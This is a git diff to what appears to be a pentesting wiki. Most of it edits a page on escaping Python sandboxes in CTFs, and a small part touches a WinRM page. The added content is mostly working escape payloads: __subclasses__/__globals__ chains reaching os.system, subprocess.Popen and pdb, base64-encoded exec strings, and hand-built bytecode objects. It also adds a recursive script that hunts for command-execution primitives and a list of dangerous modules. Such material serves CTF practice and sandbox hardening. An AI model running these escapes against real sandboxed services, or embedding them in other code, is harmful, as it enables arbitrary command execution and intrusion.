diff --git a/misc/basic-python/bypass-python-sandboxes.md b/misc/basic-python/bypass-python-sandboxes.md index 310bc624b..6d46c057b 100644 --- a/misc/basic-python/bypass-python-sandboxes.md +++ b/misc/basic-python/bypass-python-sandboxes.md @@ -17,6 +17,7 @@ subprocess.Popen("ls", shell=True) pty.spawn("ls") pty.spawn("/bin/bash") platform.os.system("ls") +pdb.os.system("ls") #Import functions to execute commands importlib.import_module("os").system("ls") @@ -41,7 +42,7 @@ system('ls') Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox. {% hint style="danger" %} -Python2 **input\(\)** function allows to execute python code before the program crashes. +**Python2 input\(\)** function allows to execute python code before the program crashes. {% endhint %} Python try to **load libraries from the current directory first** \(the following command will print where is python loading modules from\): `python3 -c 'import sys; print(sys.path)'` @@ -113,63 +114,15 @@ exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` -## Compiling Python to bypass Defenses - -In a previous example you can see how to execute any python code using the `compile` function. This is really interesting because you can execute whole scripts with loops and everything in a one liner \(and we could do the same using `exec`\). -Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF** \(for example because we don't have the `compile` function in the CTF\). - -For example, let's compile and execute manually a function that reads _./poc.py_: - -```python -#Locally -def read(): - return open("./poc.py",'r').read() - -read.__code__.co_code -'t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S' -``` - -```python -#On Remote -function_type = type(lambda: None) -code_type = type((lambda: None).__code__) #Get -consts = (None, "./poc.py", 'r') -bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S' -names = ('open','read') - -# And execute it using eval/exec -eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ())) - -#You could also execute it directly -import __builtin__ -mydict = {} -mydict['__builtins__'] = __builtin__ -codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) -function_type(codeobj, mydict, None, None, None)() -``` - -If you cannot access `eval` or `exec` you could create a **proper function**, but calling it directly is usually going to fail with: _constructor not accessible in restricted mode_. So you need a **function not in the restricted environment call this function.** - -```python -#Compile a regular print -ftype = type(lambda: None) -ctype = type((lambda: None).func_code) -f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) -f(42) -``` - -### Decompiling Python - -Using tools like [https://www.decompiler.com/](https://www.decompiler.com/) one can decompile given compiled python code - ## Builtins -* [Builtins functions of python2](https://docs.python.org/2/library/functions.html) -* [Builtins functions of python3](https://docs.python.org/3/library/functions.html) +* \*\*\*\*[**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)\*\*\*\* +* \*\*\*\*[**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)\*\*\*\* If you can access to the**`__builtins__`** object you can import libraries \(notice that you could also use here other string representation showed in last section\): ```python +__builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` @@ -207,27 +160,26 @@ get_flag.__globals__['__builtins__']['__import__']("os").system("ls") ```python # Obtain builtins from a globally defined function +## https://docs.python.org/3/library/functions.html print.__self__ dir.__self__ globals.__self__ +len.__self__ # Obtain the builtins from a defined function get_flag.__globals__['__builtins__'] -# The os._wrap_close class is usually loaded. Its scope gives direct access to os package (as well as __builtins__) -[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls') -[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls') -[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls') -[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls") -[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls") -[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls") +# Get builtins from loaded clases +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` +[**Below there is a bigger function**](bypass-python-sandboxes.md#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **builtins**. + #### Python2 and Python3 ```python # Recover __builtins__ and make eveything easier -__builtins__=([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__) +__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__["__import__"]('os').system('ls') ``` @@ -237,9 +189,11 @@ __builtins__["__import__"]('os').system('ls') # Possible payloads once you have found the builtins .open("/etc/passwd").read() .__import__("os").system("ls") +# There are a lot other payloads that can be abused to execute commands +# See them below ``` -### Discovering loaded variables +## Globals and locals Checking the **`globals`** and **`locals`** is a good way to know what you can access. @@ -248,9 +202,25 @@ Checking the **`globals`** and **`locals`** is a good way to know what you can a {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } >>> locals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } + +# Obtain globals from a defined function +get_flag.__globals__ + +# Obtaining globals directly from loaded classes +[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ] +[] + +# Obtaining globals from __init__ of loaded classes +[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ] +[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] +## Without the use of the dir() function +[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] +[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -### Discovering more loaded methods for arbitrary execution +[**Below there is a bigger function**](bypass-python-sandboxes.md#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**. + +## Discover Arbitrary Execution Here I want to explain how to easily discover **more dangerous functionalities loaded** and propose more reliable exploits. @@ -260,13 +230,18 @@ One of the most sensitive parts of this technique is to be able to **access the ```python #You can access the base from mostly anywhere (in regular conditions) +"".__class__.__base__.__subclasses__() [].__class__.__base__.__subclasses__() {}.__class__.__base__.__subclasses__() ().__class__.__base__.__subclasses__() +(1).__class__.__base__.__subclasses__() bool.__class__.__base__.__subclasses__() +print.__class__.__base__.__subclasses__() +open.__class__.__base__.__subclasses__() +defined_func.__class__.__base__.__subclasses__() #You can also access it without "__base__" or "__class__" - ## You can apply the previous technique also here +## You can apply the previous technique also here "".__class__.__bases__[0].__subclasses__() "".__class__.__mro__[1].__subclasses__() "".__getattribute__("__class__").mro()[1].__subclasses__() @@ -278,7 +253,7 @@ bool.__class__.__base__.__subclasses__() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` -#### Finding dangerous libraries loaded +### Finding dangerous libraries loaded For example, knowing that with the library **`sys`** it's possible to **import arbitrary libraries**, you can search for all the **modules loaded that have imported sys inside of them**: @@ -287,36 +262,53 @@ For example, knowing that with the library **`sys`** it's possible to **import a ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` -There are a lot, and we just need one to execute commands: +There are a lot, and **we just need one** to execute commands: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` -We can do the same thing with **other libraries** that we know can be used to execute commands: +We can do the same thing with **other libraries** that we know can be used to **execute commands**: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls") +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls') + +#subprocess +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls") +[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls') +[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls') + +#builtins +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ] +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls") + +#sys +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls") + #commands (not very common) [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls") -#subprocess -[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" in x.__init__.__globals__ ][0]["subprocess"].Popen("ls") + #pty (not very common) [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls") + #importlib [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls") -#sys -[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") -#builtins -[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls") +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls") +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls") + +#pdb +[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` Moreover, we could even search which modules are loading malicious libraries: ```python -bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip"] +bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ] print(f"{b}: {', '.join(vuln_libs)}") @@ -330,13 +322,14 @@ importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, imp: sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature +pdb: """ ``` Moreover, if you think **other libraries** may be able to **invoke functions to execute commands**, we can also **filter by functions names** inside the possible libraries: ```python -bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip"] +bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] for b in bad_libraries_names + bad_func_names: vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ] @@ -351,7 +344,8 @@ importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, imp: sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature -pip: +pip: +pdb: system: _wrap_close, _wrap_close getstatusoutput: CompletedProcess, Popen getoutput: CompletedProcess, Popen @@ -367,6 +361,176 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil """ ``` +## Recursive Search of Builtins, Globals... + +{% hint style="warning" %} +This is just **awesome**. If you are **looking for an object like globals, builtins, open or anything** just use this script to **recursively find places were you can find that object.** +{% endhint %} + +```python +SEARCH_FOR = { + # Misc + "__globals__": set(), + "builtins": set(), + "__builtins__": set(), + "open": set(), + + # RCE libs + "os": set(), + "subprocess": set(), + "commands": set(), + "pty": set(), + "importlib": set(), + "imp": set(), + "sys": set(), + "pip": set(), + "pdb": set(), + + # RCE methods + "system": set(), + "popen": set(), + "getstatusoutput": set(), + "getoutput": set(), + "call": set(), + "Popen": set(), + "popen": set(), + "spawn": set(), + "import_module": set(), + "__import__": set(), + "load_source": set(), + "execfile": set(), + "execute": set() +} + +#More than 4 is veeery time consuming +MAX_CONT = 4 + +#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be find +#ALREADY_CHECKED = set() + +def check_recursive(element, cont, name, orig_n, orig_i, execute): + # If bigger than maxium, stop + if cont > MAX_CONT: + return + + # If already checked, stop + #if name and name in ALREADY_CHECKED: + # return + + # Add to already checked + #if name: + # ALREADY_CHECKED.add(name) + + # If found add to the dict + for k in SEARCH_FOR: + if k in dir(element) or (type(element) is dict and k in element): + SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}") + + # Continue with the recursivity + for new_element in dir(element): + try: + check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute) + + # WARNING: Calling random functions sometimes kill the script + # Comment this part if you notice that behaviour!! + if execute: + try: + if callable(getattr(element, new_element)): + check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute) + except: + pass + + except: + pass + + # If in a dict, scan also each keys, very important + if type(element) is dict: + for new_element in element: + check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i) + + +def main(): + print("Checking from empty string...") + total = [""] + for i,element in enumerate(total): + print(f"\rStatus: {i}/{len(total)}", end="") + cont = 1 + check_recursive(element, cont, "", str(element), i, True) + + print() + print("Checking loaded subclasses...") + total = "".__class__.__base__.__subclasses__() + for i,element in enumerate(total): + print(f"\rStatus: {i}/{len(total)}", end="") + cont = 1 + check_recursive(element, cont, "", str(element), i, True) + + print() + print("Checking from global functions...") + total = [print, check_recursive] + for i,element in enumerate(total): + print(f"\rStatus: {i}/{len(total)}", end="") + cont = 1 + check_recursive(element, cont, "", str(element), i, False) + + print() + print(SEARCH_FOR) + + +if __name__ == "__main__": + main() +``` + +## Python Format String + +## Compiling Python to bypass Defenses + +In a previous example you can see how to execute any python code using the `compile` function. This is really interesting because you can execute whole scripts with loops and everything in a one liner \(and we could do the same using `exec`\). +Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF** \(for example because we don't have the `compiled` function in the CTF\). + +For example, let's compile and execute manually a function that reads _./poc.py_: + +```python +#Locally +def read(): + return open("./poc.py",'r').read() + +read.__code__.co_code +'t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S' +``` + +```python +#On Remote +function_type = type(lambda: None) +code_type = type((lambda: None).__code__) #Get +consts = (None, "./poc.py", 'r') +bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S' +names = ('open','read') + +# And execute it using eval/exec +eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ())) + +#You could also execute it directly +mydict = {} +mydict['__builtins__'] = __builtins__ +codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) +function_type(codeobj, mydict, None, None, None)() +``` + +If you cannot access `eval` or `exec` you could create a **proper function**, but calling it directly is usually going to fail with: _constructor not accessible in restricted mode_. So you need a **function not in the restricted environment call this function.** + +```python +#Compile a regular print +ftype = type(lambda: None) +ctype = type((lambda: None).func_code) +f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) +f(42) +``` + +### Decompiling Python + +Using tools like [https://www.decompiler.com/](https://www.decompiler.com/) one can decompile given compiled python code + ## Dissecting functions In some CTFs you could be provided the name of a custom function where the flag resides and you need to see the internals of the function to extract it. diff --git a/pentesting/5985-5986-pentesting-winrm.md b/pentesting/5985-5986-pentesting-winrm.md index 7e7c48dd3..a66f40ac7 100644 --- a/pentesting/5985-5986-pentesting-winrm.md +++ b/pentesting/5985-5986-pentesting-winrm.md @@ -1,8 +1,6 @@ # 5985,5986 - Pentesting WinRM -description: >- - -## [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) +[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) ## WinRM